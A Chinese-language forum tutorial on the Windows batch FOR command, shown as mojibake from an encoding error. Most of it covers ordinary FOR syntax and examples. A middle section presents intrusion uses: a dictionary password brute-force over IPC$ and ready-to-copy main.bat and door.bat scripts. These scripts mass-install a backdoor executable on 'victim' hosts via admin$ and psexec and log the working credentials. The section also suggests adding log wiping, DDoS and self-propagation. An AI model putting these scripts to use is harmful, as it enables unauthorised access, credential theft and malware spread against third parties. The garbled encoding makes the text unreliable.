ªð¦^¦Cªí ¤W¤@¥DÃD µo©«

[±Ð¾Ç] BAT§å¦¸«ü¥O¡G Forªº¥\¯à½d¨Ò¸Ô¸Ñ- ¤G

BAT§å¦¸«ü¥O¡G Forªº¥\¯à¤¶²Ð

¥Ñ©ó±Æª©°ÝÃD:³¡¤À»yªk¤¤ªºFOR«ü¥O¦r¤¸«á­±ªº¶¡¹j¤£¨£~»yªk¤¤­nª`·Nªº~­×¥¿«á~¦A¶K¤@¦¸~

BAT§å¦¸«ü¥O¡G For ªº¥\¯à¤¶²Ð

For :¹ï¤@²ÕÀɮפ¤ªº¨C­ÓÀÉ®×°õ¦æ«ü©wªº©R¥O¡C

«ü¥O¸Ô¸Ñ:

For %variable IN (set) DO ©R¥O [command-parameters]
¡E %variable      «ü©w¤@­Ó¥i¥H¨ú¥Nªº°Ñ¼Æ¡C
¡E (set)            «ü©w¥Ñ¤@©Î¦h­ÓÀɮײզ¨ªºÀɮײաC±z¥i¨Ï¥Î³q°t¦r¤¸¡C
¡E command      «ü©w©R¥O¨Ó°õ¦æ¨C¤@­ÓÀɮסC
¡E command-parameters
¡E                ¬°©Ò«ü©wªº©R¥O«ü©wÅܼƩΰѼơC

¡E ¦pªG­n¦b§å¦¸µ{¦¡¤¤¨Ï¥Î For ©R¥O¡A½Ð«ü©w %%variable¡A¦Ó¤£­n«ü©w%variable¡C  
¡E ÅܼƦWºÙ¦³¤j¤p¼gªº°Ï¤À¡A©Ò¥H %i ¤£¦P©ó %I¡C

¦pªG±z±Ò¥ÎÂX¥R©R¥O¡A«hÃB¥~¤ä´©¤U¦Cªº For ©R¥O®æ¦¡:

For /D %variable IN (set) DO command  [command-parameters]
¡E ¦pªG set ¤¤¥]§t¸U¥Î¦r¤¸¡A«h«ü©w»P¥Ø¿ý¦WºÙ¬Û²Å¡A¦Ó¤£¬O»PÀɮצWºÙ¬Û²Å¡C

For /R [[drive:]path] %variable IN (set) DO command  [command-parameters]
¡E ¦b¾ðª¬¥Ø¿ý¤¤¤Á´« [drive:]¸ô®|¡A¨Ã©ó¾ðª¬¥Ø¿ýªº¨C¤@­Ó¥Ø¿ý¤U°õ¦æFor ³¯­z¦¡¡C
¡E ¦pªG¥¼¦b /R ¤§«á«ü©w¥Ø¿ý³W®æ¡A«h±Ä¥Î¥Ø«eªº¥Ø¿ý¡C
¡E ¦pªG set ¥u¬O³æ¤@¥yÂI (.) ¦r¤¸¡A«h¥¦¥u·|¦CÁ|¾ðª¬¥Ø¿ýµ²ºc¡C

For /L %variable IN (start,step,end) DO command [command-parameters]
¡E set ¬O±q¶}ÀY¨ìµ²§À¤@¦¸¸õ¤@¨Bªº³sÄò¼Æ¦r¡C
¡E ©Ò¥H (1,1,5) ·|²£¥Í³sÄò­È (1 2 3 4 5) ¦Ó (5,-1,1) ·|²£¥Í³sÄò­È (5 4 3 2 1)

For /F ["options"] %variable IN (file-set) DO command [command-parameters]
For /F ["options"] %variable IN ("string") DO command [command-parameters]
For /F ["options"] %variable IN ('command') DO command [command-parameters]

¡E ©Î¡A¦pªG¨Ï¥Î usebackq ¿ï¶µ:

For /F ["options"] %variable IN (file-set) DO command [command-parameters]
For /F ["options"] %variable IN ('string') DO command [command-parameters]
For /F ["options"] %variable IN (`command`) DO command [command-parameters]
¡E filenameset ¥i¥H¬O¤@­Ó¥H¤WªºÀɮצWºÙ¡C
¡E ¨C­ÓÀɮ׳£¤w¶}±Ò¡AŪ¨ú¤Î³B²z¹L¡A¤~Ä~Äò¶i¦æ¤U­ÓÀɮצWºÙ²Õ¡C
¡E ³B²zÀÉ®×Ū¨úªº¤@­P©Ê¡A±N¥¦¤À¦¨¿W¥ßªº¤å¦r¦æ¡AµM«á±N¨C¤@¦æ¤ÀªR¦¨¹s©Î§ó¦hªº¦r¦ê¡C
¡E ¥Î¤w§ä¨ìªº¦r¦ê­È¬°ÅܼƭȡA¨Ó©I¥sFor °j°éªº¤º®e¡C
¡E ¹w³]ª¬ºA¡A/F¶Ç¥X¨C­ÓÀɮתº¨C¤@¦æ¤¤¡A¥HªÅ®æ¤À¹jªº²Ä¤@­Ó¦r¦ê¡CªÅ¥Õ¦æ·|³Q²¤¹L¡C
¡E ±z¥i¥H«ü©w "options" °Ñ¼Æ¨ÓÂмg¹w³]ªº¤ÀªR¦æ¬°¡C
¡E ³o¬O¦³¤Þ¸¹ªº¦r¦ê¡A¥]§t¤@­Ó¥H¤WªºÃöÁä¦r¡A¨Ó«ü©w¤£¦Pªº¤ÀªR¿ï¶µ¡C

ÃöÁä¦r¬O:

¡E eol=c              - «ü©w¤@­Ó¦æ§Àµù¸Ñ¦r¤¸(¥u¦³¤@­Ó)
¡E skip=n             - «ü©w¦bÀɮ׶}ÀY­n±°¹Lªº¦æ¼Æ¡C
¡E delims=xxx       - «ü©w¤À¹j²Å¸¹ªº¶°¦X¡C³o·|¨ú¥N¹w³]ªºªÅ¥Õ»P©w¦ì¦r¤¸ªº¤À¹j²Å¸¹¶°¦X¡C
¡E tokens=x,y,m-n   - «ü©w¨C¤@¦æªº­þ¨Ç¤å¦r¦êÀ³¸Ó³Q¶Ç¨ì For ªº¤º³¡¥H¥Î¨Ó¶i¦æ¨C¤@­Ó­«½Æ¾Þ§@¡C
¡E                      ³o·|¾É­PÃB¥~ªºÅܼƦWºÙ³Q°t¸m¡C
¡E                      m-n ®æ¦¡¥Nªí¤@­Ó½d³ò¡A«ü©w¤F²Ä m ­Ó¨ì²Ä n ­Ó¦r¦ê¶µ¡C
¡E                      ¦pªG¦b tokens= ¦r¦êªº³Ì«á¤@­Ó¦r¤¸¬O¬P¸¹¡A
¡E                      «h·|°t¸m¤@­ÓÃB¥~ªºÅܼƨӱµ¦¬³Ì«á¤@­Ó¦r¦ê¶µ³Q¤ÀªR«áªº¨ä¥L¤å¦r¡C
¡E usebackq           - «ü©w·s»y¸q¶}©l§@¥Î¡C
¡E                      ¨ä¤¤¤Ï¬A¸¹ªº¦r¦ê·|³Q·í§@©R¥O¨Ó°õ¦æ¡A¦Ó³æ¤Þ¸¹¦r¦ê¬O¯Â¤å¦r¦r¦ê¡C
¡E                      ¦¹¥~ÁÙ¤¹³\¨Ï¥ÎÂù¤Þ¸¹¨Ó¤Þ¥Î¦b filenameset ¤ºªºÀɦW¡C

¥H¤U¬O¤@­Ó½d¨Ò:

For /F "eol=; tokens=2,3 delims=, " %%i in (myfile.txt) do @echo %%i %%j %%k
¡E ³o·|¤ÀªRmyfile.txtÀɮפ¤ªº¨C¤@¦æ¡A¥¦¤£·|¥hºÞ¥H¤À¸¹¶}ÀYªº¦æ¼Æ¡Aª½±µ±N²Ä2­Ó¤Î²Ä3­Ó»yªk±q¨C¤@¦æ¶Ç¨ìFor ¥DÅé¡A
¡E ¦Ó¨ä»yªk¬O¥Î³r¸¹©M/©ÎªÅ®æ¤À¶}ªº(delims¤£©ñ¦b³Ì«á§Y¨Ï±ø¥ó¦³ªÅ®æ¤£·|³Q¯Ç¤J¤À¹j±ø¥ó)¡C
¡E ½Ðª`·N¡AFor ¥DÅ鳯­z¦¡°Ñ·Ó%i¥H¨ú±o²Ä¤G­Ó»yªk¡A°Ñ·Ó%j¥H¨ú±o²Ä¤T­Ó»yªk¡A¨Ï¥Î%k¨ú±o²Ä¤T­Ó»yªk¤§«áªº³Ñ¾l¦r¦ê¡C
¡E ¦]¬°ÀɮצWºÙ§t¦³ªÅ®æ¡A±z¥²¶·¥ÎÂù¤Þ¸¹¨Ó¬A¦íÀɮצWºÙ¡C­n³o¼Ë¨Ï¥ÎÂù¤Þ¸¹¡A±z¥²¶·¨Ï¥Î usebackq °Ñ¼Æ¡C
¡E §_«hÂù¤Þ¸¹·|³Q¸ÑĶ¦¨¥Î¨Ó©w¸q¤@¯ë¤å¦r¡C

¡E ¨Ï¥Î %i ©ú¥Õ¦a¦b For ³¯­z¦¡¤¤«Å§i¡A¨Ã³z¹L tokens= option ¨Ï¥Î %j §@·t¦¡©Êªº«Å§i¡C
¡E ±z¥i¥HÂÇ¥Ñ tokens= line ¨Ó«ü©w³Ì¦h 26 ­Ó»yªk¡A«e´£¬O¥¦«Å§iªºÅܼƤ£¯à°ª©ó¦r¥À 'z' ©Î 'Z'¡C
¡E ½Ð°O¦í¡AFor ÅܼƬO³æ¤@¦r¤¸ªº¡A¦P®É¦b¥ô¤@®É¶¡¤º¡A±z¤£¯à¦P®É¨Ï¥Î¶W¹L 52 ­Ó For ÅܼơC

¡E ±z¤]¥i¥H¨Ï¥Î For /F ©R¥O¦b¥ß§Y¦r¦ê¤¤¤ÀªRÅÞ¿è¡A¤èªk¬O±N¬A©·¤§¶¡ªº filenameset Åܦ¨¤@­Ó¤Þ¸¹¦r¦ê¡C
¡E ¥¦·|³Qµø¬°±qÀɮ׿é¤Jªº³æ¦æ¡A¨Ã¥[¥H¤ÀªR¡C

¡E ³Ì«á¡A±z¥i¥H¨Ï¥Î For /F ©R¥O¨Ó¤ÀªR¤@­Ó©R¥Oªº¿é¥X¡C¤èªk¬O±N¬A©·¤ºªº filenameset Åܦ¨³æ¤Þ¸¹¦r¦ê¡C
¡E ¥¦±N³Qµø¬°¤@­Ó©R¥O¦C¡A³o­Ó©R¥O¦æ±N·|¶Ç¨ì¤lCMD.EXE¡A¦Ó¿é¥X±N·|³QÂ^¨ú¨ì°O¾ÐÅ餤¡A·í¦¨ÀɮרӤÀªR¡C

©Ò¥H¤U¦Cªº½d¨Ò:
For /F "delims==" %%i IN ('set') DO @echo %%i
¡E ±N¦CÁ|¥Ø«eÀô¹Ò¤¤ªºÀô¹ÒÅܼƦWºÙ¡C¦¹¥~¡A¤w¸g¥[±j¤F For ÅܼưѦҪº¨ú¥N¥\¯à¡C

±z²{¦b¥i¥H¿ï¥Î¤U¦Cªº»yªk:
¡E %~I        - ®i¶} %I ¥B²¾°£¥]³òªº¤Þ¸¹ (")
¡E %~fI       - ®i¶} %I ¬°¤@­Ó§¹¥þ²Å¦Xªº¸ô®|¦WºÙ
¡E %~dI       - ¥u®i¶} %I ¬°ºÏºÐ¾÷¥N¸¹
¡E %~pI       - ¥u®i¶} %I ¬°¸ô®|
¡E %~nI       - ¥u®i¶} %I ¬°ÀɦW
¡E %~xI       - ¥u®i¶} %I ¬°°ÆÀɦW
¡E %~sI       - ®i¶}ªº¸ô®|¥u¥]§tµuÀɦW
¡E %~aI       - ®i¶} %I ¬°ÀɮתºÀÉ®×ÄÝ©Ê
¡E %~tI       - ®i¶} %I ¬°Àɮתº¤é´Á/®É¶¡
¡E %~zI       - ®i¶} %I Àɮתºªø«×
¡E %~$PATH:I  - ·j´M©Ò¦³¦C¦b PATH Àô¹ÒÅܼƤºªº¥Ø¿ý¥B®i¶} %I ¬°²Ä¤@­Ó§ä¨ìªº§¹¥þ²Å¦XÀɦW¡C
                ¦pªG¨S¦³©w¸qÀô¹ÒÅܼƦWºÙ©Î¬O·j´M§ä¤£¨ìÀɮסA«h³o­Ó­×¹¢¤¸·|®i¶}¬°ªÅ¦r¦ê¡C

­×¹¢¤¸¥i¥H¦X¨Ö¨Ï¥Î¥HÀò±oºî¦Xªºµ²ªG:
¡E %~dpI       - ¥u®i¶} %I ¬°ºÏºÐ¾÷¥N¸¹»P¸ô®|
¡E %~nxI       - ¥u®i¶} %I ¬°ÀɦW»P°ÆÀɦW
¡E %~fsI       - ¥u®i¶} %I ¬°§tµuÀɦWªº§¹¥þ¸ô®|
¡E %~dp$PATH:i - ¬° %I ·j´M©Ò¦³¦C¦b PATH Àô¹ÒÅܼƤºªº¥Ø¿ý¥B®i¶}²Ä¤@­Ó§ä¨ìªº¶µ¥Ø¬°ºÏºÐ¾÷¥N¸¹¤Î¸ô®|¡C
¡E %~ftzaI     - ®i¶} %I ¬°¹³ DIR ¤@¼Ëªº¿é¥X¦æ

¦b¤W­±ªº½d¨Ò¤¤ %I ©M PATH ¯à¥Î¨ä¥Lªº¦Xªk­È¨ú¥N¡C%~ »yªk¬O¥Ñ¦XªkªºFor ÅܼƦWºÙ¨Ó²×¤î¡C
¦pªG¿ï¥Î¹³ %I ªº¤j¼g¦WºÙ¥i¥H¼W¥[¥iŪ©Ê¦Ó¥BÁקK©M­×¹¢¤¸ªº²V²c¡A¦]¬°³o¨Ç¨Ã¤£°Ï¤À¤j¤p¼g¡C

-----------------------------------------------------------------------------------------------
For /f ªº¥\¯à!!!
¡E ­«ÂЩʳB²z
   For %i in (monkey dog monkey) do @echo I love %i
¡E Åã¥Ü¥Ø¿ý¤¤ªº¯S©wÀÉ®×
   For %j in (%windir%\*.txt) do type %j
¡E ±q1Åã¥Ü¨ì100
   For /L %i in (1,1,100) do echo %i
¡E ¦C¥X¥Ø«e©Ò¦³ªº¥Ø¿ý
   For /D %i in (*) do echo %i

For /f ªº¨Ï¥Î!!!
¡E ±N«ü©w¤åÀɳv¦æÅã¥Ü
   For /f %i in (%windir%\system32\eula.txt) do @echo %i
¡E ­åªR¤å¦rÀÉ¡A§ì¥X²Ä2¡B3­Ó°Ï¶ô
   For /f ¡§delims=, tokens=3,7" %i in (%windir%\svcpack.log) do @echo %i %j
¡E ­åªR¦r¦ê
   For /f "tokens=1,2,3,4" %i in ("my name is jtchen") do @echo your %j is %l, welcome!!
¡E ±N°õ¦æµ²ªGµø¬°¤åÀÉ¡A¶i¦æ­åªR
   For /F %i in ('dir/b/ad') do echo %i
¡E ¦pªG¤£­n­åªR©O?? (§Y§Æ±æ¾ã¦æ¿é¥X)
¡E ­åªR¿é¥X¡G¨q¥X¥Ø«eªºÀô¹ÒÅܼÆ
   For /f "delims== tokens=1" %a in ('set') do @echo %a

-----------------------------------------------------------------------------------------------

TOP

BAT§å¦¸«ü¥O¡G Forªº¥\¯à½d¨Ò¸Ô¸Ñ- ¤@

¥Ñ©ó±Æª©°ÝÃD:³¡¤À»yªk¤¤ªºFOR«ü¥O¦r¤¸«á­±ªº¶¡¹j¤£¨£~¦b»yªk¤¤­nª`·Nªº~­×¥¿«á¦A¶K¤@¦¸~

BAT§å¦¸«ü¥O¡G For ªº¥\¯à½d¨Ò¸Ô¸Ñ- ¤@
-----------------------------------------------------------------------------------------------
¡E «ü¥O¡GFor  
¡E »¡©ú¡G¦b«ü©wªº½d³ò¤º´`Àô°õ¦æ«ü¥O¡C
¡E ³Æµù¡G¦b§å³B²zÀɮפ¤¨Ï¥Î For «ü¥O®É¡A«ü©wÅܼƽШϥΠ%%variable¡A¦Ó¤£­n¥Î %variable¡C
¡E ¥Îªk¡GFor {%variable|%%variable} in (set) do command [command-parameters]
¡E °Ñ¼Æ¡G%variable ÅܼơC¥u¯à¬O³æ¤@¦r¥À¡A¤À¤j¤p¼g©M¥þ§½¡A©Ò¥H %i ¤£¦P©ó %I¡C
¡E       (set)              ¤@­Ó©Î¤@²ÕÀɮסC¥i¥H¨Ï¥Î¸U¥Î¦r¤¸¡C
¡E       command            ¹ï¨C­ÓÀÉ®×°õ¦æªº«ü¥O¡C
¡E       command-parameters «ü¥O¦æ¶}Ãö¡C

-----------------------------------------------------------------------------------------------
±a«ü¥O¦æ¶}Ãöªº For «ü¥O¡G

¥Îªk¡GFor /d %variable in (set) do command [command-parameters]
»¡©ú¡G¦pªG¶°¤¤¥]§t¸U¥Î¦r¤¸¡A«h«ü©w»P¥Ø¿ý¦W®Ö¹ï¡A¦Ó¤£»PÀɮצWºÙ®Ö¹ï¡C(directory)

¡E ¨Ò 1¡GFor /d %i in (*) do @echo %i
¡E §@¥Î¡G¥Ø«e¥Ø¿ý¤Uªº¤l¥Ø¿ý¦W¡C

¡E ¨Ò 2¡GFor /d %i in (*g*) do @echo %i
¡E §@¥Î¡G¥Ø«e¥Ø¿ý¤Uªº¤l¥Ø¿ý¦W§tgªº¦WºÙ¡C

¥Îªk¡GFor /r [[drive:]path] %variable in (set) do command [command-parameters]
»¡©ú¡GÀˬd¥H [drive:]path ¬°®Úªº¥Ø¿ý¾ð¡C¦pªG¦b /r «á¨S¦³«ü©w¥Ø¿ý¡A«h¨Ï¥Î¥Ø«e¥Ø¿ý¡C
¡E    ¦pªG¶°¶È¬°¤@­Ó³æÂI(.)¦r¤¸¡A«hªTÁ|¸Ó¥Ø¿ý¾ð¡C (root)

¡E ¨Ò 3¡GFor /r %i in (.) do @echo %i
¡E §@¥Î¡GªTÁ|¥Ø«e¥Ø¿ý¤Uªº¥þ³¡¤l¥Ø¿ý¦W¸ô®|¡C

¡E ¨Ò 4¡GFor /r %i in (*) do @echo %i
¡E §@¥Î¡GªTÁ|¥Ø«e¥Ø¿ý¤Î¤l¥Ø¿ý¤Uªº¥þ³¡ÀɮצWºÙ¸ô®|¡C

¥Îªk¡GFor /l %variable in (start,step,end) do command [command-parameters]
»¡©ú¡G¥H¼W¶q§Î¦¡±q¶}©l¨ìµ²§ô¤@­Ó¼Æ¦r§Ç¦C¡C(list)

¡E ¨Ò 5¡GFor /l %i in (1,1,5) do @echo %i
¡E §@¥Î¡G²£¥Í§Ç¦C 1 2 3 4 5¡C

¡E ¨Ò 6¡GFor /l %i in (5,-1,1) do @echo %i
¡E §@¥Î¡G²£¥Í§Ç¦C 5 4 3 2 1¡C

¥Îªk¡GFor /f ["options"] %variable in (file-set) do command [command-parameters]
      For /f ["options"] %variable in ("string") do command [command-parameters]
      For /f ["options"] %variable in ('command') do command [command-parameters]
»¡©ú¡Gfile-set¬°¤@­Ó©Î¦h­ÓÀɮצWºÙ¡C/f ¤ÀªR¨C­ÓÀɮתº¨C¤@¦æ¡A¸õ¹LªÅ¥Õ¦æ¡C"options" ÃöÁä¦r¡G
      eol=c          - ¦æµù¸Ñ¦r¤¸ªºµ²§À(´N¤@­Ó)
      skip=n         - ¦bÀɮ׶}©l®É²¤¹Lªº¦æ¼Æ¡C
      delims=xxx     - ¤À¹j²Å¶°¡C¨ú¥NªÅ®æ©M¸õ®æÁ䪺¹w³]¤À¹j²Å¶°¡C
      tokens=x,y,m-n - ¨C¦æªº­þ¤@­Ó²Å¸¹³Q¶Ç»¼¨ì¨C­Ó­¡¥Nªº For ¥»¨­¡C³o·|¾É­PÃB¥~ÅܼƦWºÙªº¤À°t¡C
                       m-n ®æ¦¡¬°¤@­Ó½d³ò¡C³z¹L nth ²Å¸¹«ü©w mth¡C¦pªG²Å¸¹¦r¦ê¤¤ªº³Ì«á¤@­Ó¦r¤¸¬P¸¹¡A
                       ¨º»òÃB¥~ªºÅܼƱN¦b³Ì«á¤@­Ó²Å¸¹¸ÑªR¤§«á¤À°t¨Ã±µ¨ü¦æªº«O¯d¤å¦r¡C
      usebackq                          
                       ¦b§@¬°«ü¥O°õ¦æ¤@­Ó«á¤Þ¸¹ªº¦r¦ê¨Ã¥B¤@­Ó³æ¤Þ¸¹¦r¤¸¬°¤å¦r¦r¦ê«ü¥O
                       ¨Ã¤¹³\¦b filenameset¤¤¨Ï¥ÎÂù¤Þ¸¹ÂX°_ÀɮצWºÙ¡C
¡E ¨Ò 7¡GFor /f "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do @echo %i %j %k
¡E §@¥Î¡G¤ÀªR myfile.txt ¤¤ªº¤£¥H¤À¸¹¶}ÀY¡]eol=;¡^ªº¦æ¡A±N¨C¦æ«ö³r¸¹©MªÅ®æ¤À¦¨´X¬q¡]delims=; ¡^¡A
¡E       ¦A±N¨C¦æªº²Ä2¬q¡B²Ä3¬q¤Î²Ä3¬q¥H«áªº³Ñ¾l¬q¤À§O½á­Èµ¹ÅܼÆ%i¡B%j¡B%k¡C
¡E       ¹ï©ó±a¦³ªÅ®æªºÀɮצWºÙ¡A»Ý­n¥ÎÂù¤Þ¸¹±NÀɮצWºÙ¬A°_¨Ó¡C

¡E ³z¹L tokens= ³Ì¦h¥i¥H«ü©w 26 ­Ó²Å¸¹¡AFor ÅܼƳ̦h¥i¥H¦P®É¨Ï¥Î52­Ó ¡C
¡E ¦b¬Û¾F¦r¦ê¤W¥i¥H¨Ï¥Î For /f ¤ÀªRÅÞ¿è¡F¤èªk¬O¡A¥Î³æ¤Þ¸¹±N¬A¸¹¤§¶¡ªº file-set ¬A°_¨Ó¡C
¡E ³o¼Ë¡A¸Ó¦r¦ê·|³Q·í§@¤@­ÓÀɮפ¤ªº¤@­Ó³æ¤@¿é¤J¦æ¡C
¡E ³Ì«á¡A±z¥i¥H¥Î For /f «ü¥O¨Ó¤ÀªR«ü¥Oªº¿é¥X¡C
¡E ¤èªk¬O¡A±N¬A¸¹¤§¶¡ªº file-set Åܦ¨¤@­Ó¤Ï¬A¦r¦ê¡]EscÁä¤U­±ªº«öÁä¡^¡C
¡E ¸Ó¦r¦ê·|³Q·í§@«ü¥O¦æ¡A¶Ç»¼¨ì¤@­Ó¤l cmd.exe¡A¨ä¿é¥X·|³Q§ì¶i°O¾ÐÅé¡A¨Ã³Q·í§@ÀɮפÀªR¡C


¡E ¨Ò 8¡GFor /f "usebackq delims==" %i in (`set`) do @echo %i
¡E §@¥Î¡GªTÁ|¥Ø«eÀô¹Ò¤¤ªºÀô¹ÒÅܼƦWºÙ¡C

¤U­±§Ú­ÌÁ|´X­Ó¨Ò¤l¨Ó¨ãÅ黡©ú¤@¤UFor «ü¥O¦b¤J«I¤¤ªº¥Î³~¡C

¡E ¨Ò 9¡GFor /f %%i in (dict.txt) do net use \\ip\ipc$>D:\ok.txt
¡E ¤ÀªR¡G§Q¥ÎFor «ü¥O¨Ó¹ê²{¹ï¤@¥x¥Ø¼Ðwinnt¥D¾÷ªº¼É¤O±K½X¯}¸Ñ¡C
¡E §Ú­Ì¥Înet use«ü¥O¹Á¸Õ©M¥Ø¼Ð¥D¾÷¶i¦æ³s±µ¡A·í¦¨¥\®É°O¤U±K½X¡C
¡E ¥Î%i¨Óªí¥Üadministratorªº±K½X¡A%iªº­È¦bdict.txt¤¤¨ú±o¡AµM«á±Nµ{¦¡¹B¦æµ²ªG¶Ç»¼µ¹find«ü¥O¡Aok.txt¤¤ªº­È§Y¬°¥Ø¼Ð¥D¾÷ªº±K½X¡C

¡E ¨Ò10¡GFor /f ¡utokens=1,2,3 delims= ¡v %%i in (victim.txt) do start call door.bat %%i %%j %%k
¡E ¤ÀªR¡G¦Û°Êµ¹¤j¶q¦×ÂûºØ«áªù©M¤ì°¨¡C¸Ó«ü¥O«ö¶¶§Ç±Nvictim.txt¤¤ªº¤º®e¶Ç»¼µ¹door.bat¤¤ªº°Ñ¼Æ%i %j %k¡C

¡E ¦Ócultivate.batµL«D´N¬O¥Înet use«ü¥O¨Ó«Ø¥ßipc$³s±µ¡A
¡E ¨Ãcopy¤ì°¨¡Ï«áªù¨ìvictim¡AµM«á¥Îªð¦^½X¡]if errorlever =¡^¨Ó¹LÂo¾¹¦¨¥\ºØ´Ó«áªùªº¥D¾÷¡A¨Ãecho¥X¨Ó¡A©ÎªÌecho¨ì«ü©wªºÀɮסC
¡E delims= ªí¥Üvivtim.txt¤¤ªº¤º®e¬O¤@ªÅ®æ¨Ó¤À¹jªº¡C
¡E ©Ò¥Hvictim.txt¸Ìªº¤º®eÀ³¸Ó®Ú¾Ú%%i %%j %%kªí¥Üªº¹ï¶H¨Ó±Æ¦C¡A¤@¯ë´N¬O¡uIP¦ì§} ±K½X ±b¸¹¡v¡C

-----------------------------------------------------------------------------------------------

¥N½XÂú§Î¡G
========================= ±q³o¸Ì¶}©l½Æ»s¡AÀx¦s¬°main.bat =========================
¡E @echo off
¡E @if "%1"=="" goto usage
¡E @For /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
¡E @goto end
¡E :usage
¡E @echo °õ¦æ¦¹§å³B²zÀÉ®×
¡E :end

========================= ¨ì³o¸Ìµ²§ô½Æ»s¡AÀx¦s¬°main.bat =========================

-----------------------------------------------------------------------------------------------

========================= ±q³o¸Ì¶}©l½Æ»s¡AÀx¦s¬°door.bat =========================
¡E @net use \\%1\ipc$ %3 /user:"%2"
¡E @if errorlevel 1 goto failed
¡E @echo ¹Á¸Õ«Ø¥ß IPC$ ³s±µ ¡K¡K¡K¡K ¦¨¥\
¡E @copy windrv32.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ok.txt
¡E @psexec \\%1 c:\windows\system32\windrv32.exe
¡E @psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 «áªù>>ok.txt
¡E :failed
¡E @echo ¤£¯à³s½u¨ì¦¹¥D¾÷

========================= ¨ì³o¸Ìµ²§ô½Æ»s¡AÀx¦s¬°door.bat =========================

³o¥u¬O¤@­Ó¦Û°ÊºØ´Ó«áªù§å³B²zªºÂú§Î¡A¨â­Ó§å³B²z©M«áªùµ{¦¡¡]Windrv32.exe¡APSexec.exe¡^»Ý©ñ¦b¦P¤@¥Ø¿ý¤U¡C
§å³B²z¤º®e©|¥iÂX¥R¡A¨Ò¦p¡G¥[¤J²M°£¤é»x©MDDOSªº¥\¯à¡A¥[¤J©w®É·s¼W¥Î¤áªº¥\¯à¡A§ó²`¤J¤@ÂI¥i¥H¨Ï¤§¨ã³Æ¦Û°Ê¶Ç¼½¥\¯à¡C
-----------------------------------------------------------------------------------------------

TOP

[±Ð¾Ç] BAT§å¦¸«ü¥O¡G Forªº¥\¯à½d¨Ò¸Ô¸Ñ- ¤G

¥Ñ©ó±Æª©°ÝÃD:³¡¤À»yªk¤¤ªºFOR«ü¥O¦r¤¸«á­±ªº¶¡¹j¤£¨£~¦b»yªk¤¤­nª`·Nªº~­×¥¿«á¦A¶K¤@¦¸~

BAT§å¦¸«ü¥O¡G For ªº¥\¯à½d¨Ò¸Ô¸Ñ- ¤G
-----------------------------------------------------------------------------------------------
¡E °ò¥»®M¥Î

¡E ²³æ»¡¡AFor ¬O­Ó´`Àô¡A¥i¥H¥Î§A«ü©wªº´`Àô½d³ò²£¥Í¤@¨t¦C«ü¥O¡C
¡E ³Ì²³æªº¨Ò¤l¡A´N¬O¤H¤u«ü©w´`Àô½d³ò¡AµM«á¹ï¨C­Ó­È°õ¦æ«ü©wªº«ü¥O¡C
¡E ¨Ò¦p¡A·Q§Ö³t³ø§i¨C­ÓµwºÐ¤À°Ïªº³Ñ¾lªÅ¶¡¡G

For %a in (c: d: e: f do @dir %a\ | find "bytes free"
¡E ±N¿é¥X¡G
¡E  8 Dir(s) 1,361,334,272 bytes free
¡E 15 Dir(s) 8,505,581,568 bytes free
¡E 12 Dir(s) 12,975,149,056 bytes free
¡E  7 Dir(s) 11,658,854,400 bytes free
¡E ¥Î¥¦¥i¥H¨Ï¤@¨Ç¤£¤ä«ù¸U¥Î¦r¤¸ªº«ü¥O¹ï¤@¨t¦C¤å¥ó¶i¦æ¾Þ§@¡C
¡E ¹J¨ìÃþ¦ü±¡ªp´N¥i¥H¥ÎFor ¡G
For %a in (*.txt) do type %a
¡E ³o¨ÇÁÙ¤£¬OFor ³Ì±j¤jªº¥\¯à¡C
¡E ¥¦³Ì±j¤jªº¥\¯à¡Aªí²{¦b¥H¤U³o¨Ç¶i¶¥®M¥Î¡G
¡E 1. ¥i¥H¥Î /r °Ñ¼Æ¹M¾ú¾ã­Ó¥Ø¿ý¾ð
¡E 2. ¥i¥H¥Î /f °Ñ¼Æ±N¤å¥»¤å¥ó¤º®e§@¬°´`Àô½d³ò
¡E 3. ¥i¥H¥Î /f °Ñ¼Æ±N¬Y¤@«ü¥O°õ¦æµ²ªG§@¬°´`Àô½d³ò
¡E 4. ¥i¥H¥Î %~ ¾Þ§@²Å±NÀɮצW¤ÀÂ÷¦¨ÀɮצW¡B°ÆÀɦW¡BºÏºÐ¥N¸¹µ¥¿W¥ß³¡¤À

¡E ²{¤À§OÁ|¨Ò»¡©ú¦p¤U¡G

1. ¥Î /r ¹M¾ú¥Ø¿ý¾ð¡G
¡E ·í¥Î *.* ©Î *.txt µ¥ÀɮצW¸U¥Î¦r¤¸§@¬° For /r ªº´`Àô½d³ò®É¡A¥i¥H¹ï·í«e¥Ø¿ý¤U©Ò¦³¤å¥ó¡]¥]¬A¤l¥Ø¿ý¸Ì­±ªº¤å¥ó¡^¶i¦æ¾Þ§@¡C
¡E Á|­Ó¨Ò¤l¡A§A·Q¦b·í«e¥Ø¿ýªº©Ò¦³txt¤å¥ó¡]¥]¬A¤l¥Ø¿ý¡^¤º®e¤¤´M§ä"bluebear"¦r¼Ë¡A¦ý¥Ñ©ófind¥»¨­¤£¯à¹M¾ú¤l¥Ø¿ý¡A
¡E ©Ò¥H§Ú­Ì¥ÎFor :
For /r . %a in (*.txt) do @find "bluebear" %afind
¡E «e­±ªº @ ¥u¬OÅý¿é¥Xµ²ªG¤£¥]¬A find «ü¥O¥»¨­¡C
¡E ³o¬ODOS«Ü¦­´N¦³ªº¥\¯à¡C©MFor µLÃö¡C
¡E ·í¥Î . §@¬°´`Àô½d³ò®É¡AFor ¥u±N¤l¥Ø¿ýªºµ²ºc¡]¥Ø¿ý¦W¡^§@¬°´`Àô½d³ò¡A¦Ó¤£¥]¬A¸Ì­±ªº¤å¥ó¡C
¡E ¦³ÂI¹³ TREE «ü¥O¡A¤£¹L°¼­«ÂI¤£¦P¡C
¡E TREE ªº­«ÂI¬O¥Î«Üº}«G©öŪªº®æ¦¡¿é¥X¡A¦ÓFor ªº¿é¥X¾A¦X¤@¨Ç¦Û°Ê¤u§@¡A¨Ò¦p¡A
¡E §Ú­Ì³£ª¾¹D¥ÎCVSºÞ²zªº¶µ¥Ø¤¤¡A¨C­Ó¤l¥Ø¿ý¤U³£·|¦³¤@­ÓCVS¥Ø¿ý¡A¦³®É¦b³nÅéµo¦æ®É§Ú­Ì·Q§â³o¨ÇCVS¥Ø¿ý¥þ³¡¥h±¼¡G
For /r . %a in (.) do @if exist %a\CVS rd /s /q %a\CVS
